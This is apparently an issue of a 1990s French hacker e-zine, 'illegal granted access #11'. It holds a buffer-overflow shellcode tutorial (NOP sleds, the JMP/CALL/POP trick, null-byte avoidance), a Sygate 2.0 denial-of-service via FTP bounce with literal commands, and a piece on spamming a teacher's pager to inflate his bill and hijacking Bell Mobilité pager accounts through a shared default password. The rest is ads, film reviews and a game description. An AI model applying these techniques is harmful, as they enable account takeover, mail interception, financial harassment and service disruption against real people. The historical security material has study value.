Donc, pour realiser un buffer overflow, nous devons donc essayer de nous creer
un petit outil dans lequel on entre les parametres suivants:
-facteur d'alignement (0 a 3): va modifier le nombre de "a" apres notre code.
-adresse approximative du debut du buffer: a placer dans les "R", et egale
a la valeur du ESP de depart, duquel on a soustrait un certain nombres de
byte (car la pile descend ;)
-taille supposee du buffer: de cette maniere notre outil saura combien de NOP
inserer au debut du buffer, en soustrayant la longueur de notre code "c"
de la longueur totale supposee du buffer. Il est aussi interessant de noter
que pour des raisons basees sur l'hexadecimal, beaucoup de programmeurs
creent des buffers de tailles multiple de 2 et meme plus generalement
multiples de 16.
Cet outil est bien evidemment dependant du programme que l'on cherche a
smasher. En effet, dans le cas d'un serveur FTP par exemple, cet outil doit
d'abord ouvrir la connection, puis faire le login, etc et enfin entrer la
commande qui provoque le buffer overflow, avec notre chaine de buffer
overflow dedans, adaptee selon les parametres.
Maintenant, il nous reste le principal:
Creer le code du programme que l'on veut foutre dans le buffer.
Pour cela, c'est bien evidemment un programme en assembleur que vous allez
devoir ecrire. Une fois ce petit programme bien teste de maniere independante
du buffer overflow, il faut le dumper, c'est a dire le coder sous forme de
valeur hexadecimal (WIN32DASM fournit les dumps d'un programme executables),
car ce sont ces valeurs hexadecimals que nous allons devoir entrer dans le
buffer. Il faut aussi remarquer que notre code va etre executé, mais lors de
sa terminaison, il va vouloir aller rechercher la valeur de retour sur la pile
ou il va tout simplement continuer a executer ce qui se trouve en memoire,
ce qui dans les 2 cas provoquera un plantage tres rapide du systeme ;)
Donc, il est preferable de creer un petit code qui boucle indefiniment, ou qui
n'autorise pas une sortie, de maniere a eviter ce probleme.
Voila, cela devient presque un jeu d'enfant de tester les buffers overflows
lol ;) Une fois les parametres exacts trouves, sauver les 10 fois hehe ;)
En effet, ces valeurs dans un programme normalement constitué ne varieront
pas, du moins si vous executer toujours la meme sequence initialise de login
etc dans votre outil.
LES ADRESSES LOCALES
====================
Comment faire pour utiliser des variables dans notre propre code ?
Par exemple, nous voulons que notre code lance un programme dont nous placons
le nom dans une chaine de caracteres.
Il nous faut donc l'offset exacte de la chaine de caractere dans notre code.
Pour cela, on va utiliser quelques instructions en assembleur, qui seront
bien utiles. L'instruction CALL, qui appelle une procedure, possede une
propriete interessante. Elle laisse en effet l'adresse de l'instruction
suivant l'instruction appelante sur la pile. Normalement cette adresse est
utilisee par le RET, pour revenir a la procedure appelante.
Mais le processeur ne sait pas si ce qui suit le CALL est une instruction ou
bien des donnees diverses.
De plus, l'instruction JMP permet de specifier des deplacements relatifs,
c'est a dire de ne pas donner l'adresser reel du saut, mais bien de dire
que le saut se trouve a par exemple 10 bytes de l'adresse courante.
Nous allons donc proceder de la maniere suivante:
Nous allons donc organiser notre code ("ccccc" dans le schema precedent) de
la maniere suivante:
JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss
Ou J represente un saut relatif (JUMP SHORT) vers C
P represente les instructions de notre code proprement-dit
C represente une instruction CALL suivie de l'adresse du debut de notre
code reel (=adresse mise dans "R" sur la pile tantot+2, a cause du JMP
SHORT du debut de notre programme, qui est code sur 2 octets).
s represente les caracteres de notre chaine dont on veut connaitre
l'adresse exacte.
Que va-t-il se passer ?
JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss
|| ||
||_______________(1 ->)_________________||
| |
|_______________(2 <-)__________________|
Le processeur va executer notre JMP SHORT jusqu'au CALL.
Le CALL va placer l'adresse de ce qui le suit (justemment l'adresse de notre
chaine ;) sur la pile, puis va sauter a l'instruction qui suit notre JMP SHORT
au debut de notre code.
Pour recuperer l'adresse de notre chaine, on a plus qu'a faire un petit
POP EAX par exemple, et l'adresse de notre chaine se trouve dans EAX :)))
PETITES PROBLEMES
=================
Il y a certains petits problemes qui peuvent encore apparaitre lors de la
realisation du buffer overflow.
Le 1er probleme est le cas du foutu caractere 00h ;) Si dans notre code de
programme a placer dans le buffer, nous avons un caractere 00h, cela peut
poser probleme. En effet, en C, le caractere 00h indique une fin de chaine, et
donc la suite de notre code pourrait ne sera pas etre chargee dans certains
cas. Il n'est pas complique d'eviter ces caracteres, il suffit de chipoter
avec les commandes assembleur utilisees dans le code. Par exemple, a la place
de faire:
mov eax,0
on peut faire:
sub eax,eax
ou encore xor eax,eax
etc... ;)
Le 2eme probleme est l'utilisation de la pile.
En effet, si nous voulons utiliser la pile pour mettre des parametres, nous
risquons d'aller ecraser notre code lui-meme !!!
Or, toutes les fonctions APIs de Windows par exemple, necessite le passage des
parametres sur la pile ! On risque donc de tout casser ;)
Pour eviter cela, il suffit tout simplement au debut de notre code de modifier
la pile pour qu'elle commence en dessous du code de notre programme.
Pour cela, il suffit de placer une instruction
SUB ESP,T
Ou T represente une valeur qui est plus grande que la taille de notre buffer
(taille fournie tantot comme parametre dans notre petit "outil").
Comme cela, la pile continuera en dessous de notre petit programme, sans aucun
probleme.
Voile, j'espere que vous voyez maintenant un peu mieux comment programmer
pratiquement des buffers overflows... Maintenant il ne vous restent plus qu'a
les trouver hehe ;)
Pour un prochain article, on va ptet envisager avec __2 de vous proposer un
code de buffer overflow complet, on verra ;)
Ciaaaaaaaooooooooooooooo
Rix-Agressor-Shogun
___________________
[Quotes of the month]\____________________________
[Ici git la derniere quotes de ce Zine, et non notre
[imagination n'est pas epuise, mais __2 nous a fait
[un ultimatum sur la non publication des quotes le
[concernant! ]
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.20] _|_| Sygate 2.0 DoS
\_________/_/ So CalleD _ ______ __ _ _
DoS for Denial of Service _/_/ [By:__2] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Qui ici se rapelle de Sygate 2.0? Nous en avions deja
mentionner l'existence dans un precedent magazine. So,
pour ceux qui ne sen rapelle pas voici un resumer:
"Sygate est un programme permettant a plusieurs ordinateurs
connecter en reseau de passer par 1 ordinateur connecter a
un modem pour allez sur internet et cela de facon "BLIND"
voir masquerading. Il s'agit d'une alternative tout-a-fait
differente du classique PROXY/WINGATE server."
Ce programme est genial, on l'installe, chaque personne mette
le IP de la personne dans leur GateWay et POUF! on se retrouve
tous sur internet. Mais voila qu'il existe un DOS plus ou moins
restreint permettant quelque truc possible.
Il y a deja 1 mois, jai fait du portscanning sur une machine dite
Serveur Sygate-Gateway qui etait biensur dans le reseau local,
Sygate etant le programme que moi et wyzeman utilisons pour passer
sur internet a partir de notre 3-eme ordinateur. J'ai decouvert
tout d'abord le port suivant, 7323. une breve connection via
TELNET ma donner ceci:
SyGate 2.0 for Windows 95/98/NT build 322
Welcome to SyGate remote controller!
For security purpose, SyGate remote controller can be access
only from your Local Area Network (LAN).
-
======== Function Key ==========
<ESC> exit
P Stop SyGate Service
D Display SyGate Status
N To Dial ( Dial-Up Networking only )
F To Hang Up( Dial-Up Networking only )
T Display All TCP Connection(s)
Ready to accept command. Press one function key, or 'H' for help.
You choose:
---
Vous comprenez que c'est assez explecite. Voici la reference
et se que fait chacune des commandes.
P - Ferme le service Sygate, empeche donc les ordinateurs qui
y sont connecter d'allez sur le net. Ca equivalence un modem
non connecter pour chacun des utilisateurs :)
D - Display Sygate Status:
========================================================
SyGate , Unlimited Users version
========================================================
Engine: Running, On Line
TCP Ports Used: 1 UDP Ports Used: 2 ICMP Session: 0
Application Activity: 2 Suspended Trans: 2
Current Users: 1 DHCP On-line Users: 0
Dial-Up Line Idle Time: 10
Ready to accept command. Press one function key, or 'H' for help.
---
Ici on peut voir que nous n'utilisons pas le DHCP mais des IP
Fixe. Il s'agit en fait d'informations courrantes sur se qui se
passe....
N) Recompose le numero de l'acces en court si vous vous
faite disconnecter.
F) C'est disons le, vraiment explicite, ca deconnecte le modem
et du meme coup la connection internet. Sous modemcable utiliser
le STOP SERVICE a la place du HANGUP.
T) Ceci est tjour pratique a savoir:
List all tcp connections
-------------------------------------------------
1. 192.168.0.3:1926 207.241.4.58:6669 idle time: 19835ms
-------------------------------------------------
there are 1 tcp connection(s).
---
Presentement , on peut voir que le 192.168.0.3 [wyzeman] est sur
207.241.4.58 port 6669 c'est a dire:
*** Resolved 207.241.4.58 to tai.wwa.com
-
*** Looking up tai.wwa.com
Il est donc possiblement sur IRC. Il aurait ete pratique de pouvoir
fermer les connections TCP mais ne soyons pas trop gourment.
La Contrepartie? Et oui il en a tjour une. C'est bien beau tout ca,
mais on ne peut pas y acceder via l'exterieur. Il s'agit d'un port
blocker a un reseau "local". Je ne sais pas si le fait de s'ajouter
a distance dans un reseau quelquonque vous donne les memes droits
mais une chose est sure, il y a tjour moyen de faire avec. Si vous
scannez le port 7323 de l'exterieur vous n'aurez meme pas de query
ou quelque chose qui vous laisses penser quil est installer [sygate]
alors moi se que j'ai fait, c'est utiliser une vieille technique
discuter dans le #10, je parle biensur du FTP-BOUNCE :-) Si par exemple
le port 21 est ouvert, connectez-vous dessus et tappez ceci:
USER ANONYMOUS
PASS A@A.COM
PORT 127,0,0,1,28,183 <--- [28*255+183=7232]
LIST
Si ca ne fonctionne pas, il n'y a pas de sygate :-)
Dans le cas contraire, faite vous un fichier contenant par exemple
la lettre P et redirigez-le, ca devrait etre suffisant, faite au
pire carrement un LIST , les chances de tomber sur un P ou un F
dans un FILE_LISTING etant tres repandu :-)
Ceci est en fait un Denial of Service, une facon de faire planter
legerement une machine. Il n'y a pas reelement de hacking mais plutot
une technique comme ca, nee de la curiositer :]
__2.Sygate2_0.its.a.good.soft
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.21] _|_| Phone fucking #9
\_________/_/ So CalleD _ ______ __ _ _
Bell mobilite innove encore et tjours _/_/ [By:Bozzo] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Bon ok c pas du hacking, mais c de la crosse...Dans l'fond...le hacking aussi
c de la crosse...une grosse game de crossage....(mais ce qu'il est vulgaire
ce Bozzo)
Bell Mobilité ont depuis environ 2 mois sorti un nouveau service avec les
pagettes alpha-numériques...Avec ce service tu peux recevoir des mails sur
ta pagette...Ex: ton # de pagette est 647-1234, ben ton e-mail vas être
6471234@teleav.mobility.com . Tu as genre une limite de 100 msg par mois
apres ca c'est 20cents du msg.Donc j'aime pas mon prof de philo qui as un
page comme ca...je le spamme de 500 msg, je lui bust sa limite de msg,
donc ca fait 400 msgs à 0.20$ donc 80$. Une fois par jour ca coute cher au
bout du mois :) Mais y'as de koi de plus interessant avec ca c'est que
chaque utilisateur d'une pagette comme ca, as une section sur une page web
(pager.mobility.com) ou il peut faire plusieurs choses, rediriger ses
mails, lire ses mails, en écrire, voir les derniers mails recu (ils sont
gardés pendant 7 jours) désactiver la pagette, l'activer etc... Sauf que
pour avoir acces à ca...il faut un login et un pass...Le login, c'est le
# de la pagette ex: 647-1234 et le pass, (c la que ca deviens trop idiot)
c'est : bonjour .C'est le mot de passe par défaut, que environ 1 usager
xur 100 change:) La band de twit,ils auraient pus générer des mots de passe
aleatoirement, ben non, ils fouttent le meme pass a tout le monde. Donc, tout
ce qu'il reste a faire, c'est de trouver un # de pagette a Québec.Ces pagettes
sont toutes dans le 647-**** donc il s'agit de les essayer un par un
(patience...) ou ben de se faire un petit code qui les fait tout seul(__2).
A date j'en connais environ 10 accomptes dans les 647-5*** et plus.Donc un
coup vous avez ca vous pouvez lire les derniers mails que le gars as recu,
rediriger ses mails, modifier son alias e-mail etc Une chose pratique, c'est
de se servir de son accompte comme compte e-mail...C que vous avez une
option qui permet de couper l'envois des mails sur la pagette, et à la
place de les rediriger sur un autre e-mail...Donc vous vous servez de
son accompte pour recevoir des mails, mais comme vous avez bloquer l'envoi
sur sa pagette, lui il ne vois rien aller...
Bozzo
_________________ _____ _ ______ ____ __ __ _ _
_________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _
[' [#.22] _|_| INFO-PUB: when no ones read this
\_________/_/ So CalleD _ ______ __ _ _
Nothing to said _/_/ [By:Wyzeman] \
___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,]
Info pub #11
jsais pas pourquoi jlappelle #11, jai commencer a partire du iga #5 :p
donc, cest en fait un #6, mais bon, on sastinera pas la dessus, appellez le
donc comme vous voullez :]
-------------------------------------------------------------------------------
706 automobile
-------------------------------------------------------------------------------
suzuki swift a vendre, nouvellement accidenter, prix de vente, trop
chere pour ce que sa vaux..
call Wyzeman
-------------------------------------------------------------------------------
Suggestion lecture
-------------------------------------------------------------------------------
nimporte quel livre de programation qui vous interresse, avant daller
poser des question stupides sur des commande de base.
le seigneur des anneaux. classic de son genre. le grand JRR Tolkien,
nous devoille un monde fantastique, agrementer de la tout aussi classic guerre
entre le bien et le mal. epoper legendaire, doit absolument faire partie de
votre culture.
-------------------------------------------------------------------------------
cinema
-------------------------------------------------------------------------------
se mois si, un gros titre a pris la tete daffiche, comme vous lavez
sans doutes dejas deviner, il sagit de
Star Wars
quelque par dans une galaxie tres loingtaine......si comme moi vous
etes, un fan, des que vous verrez c'est ligne safficher, et le main theme de
star wars retentira a vos oreilles, les larmes vous viendrons au yeux, y'as
pas de doutes. bon, jimagine, que comme tout le monde, vous etes dejas
submerger dannonce publicitaire, d'un niveau de marketing digne des meilleur
campagne de IGA. donc, je ne vous conterais pas lhistoire. linfographie du
film est exelente. Allez le voir une fois, et regarder le avec des yeux
d'enfant, vous allez en baver, ensuite retournee le voir, et porter
attention a tout les details, vous allez voir que Lucas, ne fait jamais rien
a la butch..
This movie ruxx at will
le 13e etage
film traitant du meme sujet que The matrix, mais traiter d'une facon
differente, disont, que le film fait plus de reflection face au different
"monde" et apporte une nouvelle touche philosophique au principe, au
detriment de laction. Allez tout de meme voir se film, ne serait-ce que
pour en apprecier la parodie que IGA projete de creer, called : THE BASEMENT.
eXistenZ
suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx aller
voir ca geler, vous allez halluciner, autrement fuyer ce film le plus loin
que vos jambes le permettra.
-------------------------------------------------------------------------------
entertainement
-------------------------------------------------------------------------------
Onyx nous a fait un petit text sur everquest, je lai pas
personnelement mais jpeux dire en connaissance de cause, que ca laire detre
un jeux vachement cool, puisque Qderf et Onyx y passe maintenent le 3/4 de
leur temps libre, un peu ce qui risque de marriver a la sortie de mankind.
EVERQUEST:
----------
1. Description du jeu:
----------------------
- Everquest est un jeu online, multiplayer, qui pourra permettre
à plus de 1000 joueurs de s'immerger, en même temps, dans un
univers d'heroic fantasy.
- Le jeu sera supporté par de nombreux serveurs, chacun de
ceux-ci pourra accueillir 1500 joueurs simultanément.
- Possibilité de choisir entre 12 races, réparties en 14 classes.
Humains, Elfes, Nains, gnomes, Trolls, etc...
- Plus de 40 compétences pourront être utilisées afin de
reproduire un environnement proche de la réalité. Les compétences
vont bien sûr du combat à la masse, à la magie, jusqu'à la couture.
- Des milliers d'objets à collectionner, et à trouver seront une des
plus grandes attractions d'Everquest. Objets allant des armes
jusqu'au matériel nécessaire à la magie.
- L'univers d'EQ représente 3 continents (2 autres seront
ajoutés plus tard), dont certains sont gigantesques.
- Chacun pourra incarner le personnage qu'il désire. En ce sens, que si
certains préfèrent la solitude , ils pourront jouer sans problèmes.
Mais la formation de guildes, de clans est conseillée.
Cela ajoute une dimension au jeu.
- Des centaines de sorts pourront être utilisés, répartis en 5
disciplines de la magie.
- Le Pkilling (le meurtre des joueurs par les joueurs), sera contrôlé.
Un système de switch est implanté.
- Environnement 3D, avec la possibilité d'utiliser une caméra pour obtenir
des vues multiples. Les couleurs seront SVGA en 16 bits.
- Les personnages seront en forme polygonales, les sprites ne
seront pas utilisés.
- Le jeu est optimisé pour les cartes accélératrices 3DFX.
2. Configuration:
-----------------
Système minimum requis:
-----------------------
Pentium 166
Windows 95 / Windows NT
32 mégabytes de RAM
28.8 connection internet ou plus
Carte video Direct3D
Configuration recommandée:
--------------------------
Pentium 200 ou +
Carte video 3Dfx
3. Pour finir:
--------------
Bref, si vous aimer les jeux de roles multijoueurs ce jeu est
fait pour vous. Un abonnement est requis pour jouer. Pour plus
d'information je vous invite a visiter le site officiel:
-> www.everquest.com
Onyx
___________________
[Quotes of the month]\____________________________
[TrueMan say's : Ils tournent en rond toute la journee,
[ Ils font ca sans arret!!!!! ]
_________________ __________________ ________________________
| | ; __________| | o |
| ; | |____. | | __ |
|_________________| |__________________| ;___________| |_________|
[illegal granted access #11 : Thats the END!]
Bon comme ces lettres vont passer a l'histoire, je les ai mises la!
[EOF]